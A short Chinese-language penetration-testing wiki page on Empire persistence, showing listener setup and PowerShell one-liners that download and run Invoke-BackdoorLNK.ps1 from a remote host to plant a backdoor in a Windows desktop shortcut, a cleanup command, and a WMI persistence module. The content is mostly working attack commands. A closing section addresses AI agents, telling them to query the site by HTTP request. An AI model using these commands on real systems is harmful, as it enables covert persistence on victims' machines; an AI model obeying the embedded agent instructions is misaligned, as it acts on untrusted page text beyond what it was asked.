# Empire

**LNK后门**

```
Empire
Empire> set Host http://192.168.1.150
Empire> set Port 8080
>launcher powershell Listener's Name
生成后只使用Base64的代码。
>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -EncScript Base64编码"
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/539.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/540.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/541.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/542.png)

```
清除后门
>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -CleanUp"
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/543.png)

**WMI**

```
Empire>powershell/persistence/elevated/wmi
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-wei-chi/windows/empire.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
